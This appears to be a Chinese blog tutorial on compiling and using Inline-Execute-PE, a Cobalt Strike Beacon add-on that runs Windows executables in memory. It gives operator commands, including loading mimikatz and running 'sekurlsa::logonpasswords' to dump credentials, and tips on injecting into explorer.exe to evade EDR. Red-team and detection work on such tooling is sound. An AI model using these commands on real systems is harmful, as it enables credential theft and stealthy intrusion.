从源码到实战:Inline-Execute-PE的编译、配置与团队协作指南

从源码到实战:Inline-Execute-PE的编译、配置与团队协作指南

【免费下载链接】Inline-Execute-PEExecute unmanaged Windows executables in CobaltStrike Beacons项目地址: https://gitcode.com/gh_mirrors/in/Inline-Execute-PE

Inline-Execute-PE是一款针对CobaltStrike Beacon的工具套件,能够将非托管Windows可执行文件加载到内存中执行,无需落地磁盘或创建新进程。本文将带你从源码编译到团队协作,全面掌握这一强大工具的使用方法。

🌟 核心功能与优势

Inline-Execute-PE通过Beacon对象文件(BOF)和Aggressor脚本实现三大核心功能:

  • 内存加载:将PE文件直接映射到Beacon内存
  • 重复执行:加载一次即可多次运行,避免重复网络传输
  • 团队共享:所有连接的CobaltStrike客户端均可访问已加载的PE文件

Inline-Execute-PE运行演示

🛠️ 环境准备与编译步骤

编译依赖

  • x86_64-w64-mingw32-gcc交叉编译器
  • GNU Make工具

快速编译流程

  1. 克隆项目仓库:

    git clone https://gitcode.com/gh_mirrors/in/Inline-Execute-PE cd Inline-Execute-PE/Inline-Execute-PE
  2. 执行编译命令:

    make all

编译完成后将生成三个目标文件:

  • peload.x64.o - PE加载模块
  • perun.x64.o - PE执行模块
  • peunload.x64.o - PE卸载模块

编译规则定义在 Inline-Execute-PE/Makefile 中,使用mingw32-gcc编译器并添加-DBOF宏定义以生成BOF兼容代码。

🚀 快速上手指南

基本工作流程

  1. 加载PE文件→ 2.执行PE文件→ 3.卸载PE文件

加载PE文件

使用peload命令加载本地PE文件到Beacon内存:

peload /path/to/mimikatz.exe

或加载目标机上已存在的PE文件:

peload C:\Windows\System32\cmd.exe --local

执行PE文件

通过perun命令执行已加载的PE文件并传递参数:

perun sekurlsa::logonpasswords exit

注意:参数中的双引号需要使用反斜杠转义,如perun "argument with spaces"

卸载PE文件

完成操作后使用peunload清理内存:

peunload

⚙️ 高级配置选项

查看已加载PE信息

使用petable命令查看当前Beacon中加载的PE文件状态:

petable

调整执行超时时间

默认超时时间为60秒,可通过peconfig调整:

peconfig timeout 120

控制DLL卸载行为

某些PE可能导致DLL卸载时崩溃,可禁用DLL卸载:

peconfig unloadlibraries false

👥 团队协作功能

数据同步机制

Inline-Execute-PE会自动在所有连接的CobaltStrike客户端间同步PE加载状态,确保团队成员使用相同的工具环境。同步信息存储在:

  • 内存数据结构
  • 本地文件:petable.txt(位于CobaltStrike运行目录)

手动广播数据

如需强制同步所有客户端数据,可使用:

pebroadcast

⚠️ 注意事项与最佳实践

  1. 架构兼容性:仅支持x64 Beacon和x64 PE文件
  2. 进程选择:注入到系统进程(如explorer.exe)比独立Beacon更隐蔽
  3. 命令测试:先在测试环境验证PE文件及参数,避免Beacon崩溃
  4. 特殊PE处理
    • PowerShell.exe:卸载时需禁用DLL卸载
    • Cmd.exe:必须使用/c参数,如perun /c dir

📚 项目文件结构

核心文件说明:

  • Inline-Execute-PE.cna - Aggressor脚本
  • peload.c - PE加载实现
  • perun.c - PE执行逻辑
  • peunload.c - 内存清理代码

🛡️ 安全考量

使用Inline-Execute-PE时需注意:

  • 内存操作(VirtualAlloc、内存保护修改)可能触发EDR检测
  • 执行敏感操作(如Mimikatz)仍会产生安全日志
  • 建议在测试环境充分验证目标PE的兼容性

通过合理配置和谨慎使用,Inline-Execute-PE可以成为红队操作中的强大工具,有效减少磁盘操作和进程创建带来的检测风险。

【免费下载链接】Inline-Execute-PEExecute unmanaged Windows executables in CobaltStrike Beacons项目地址: https://gitcode.com/gh_mirrors/in/Inline-Execute-PE

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考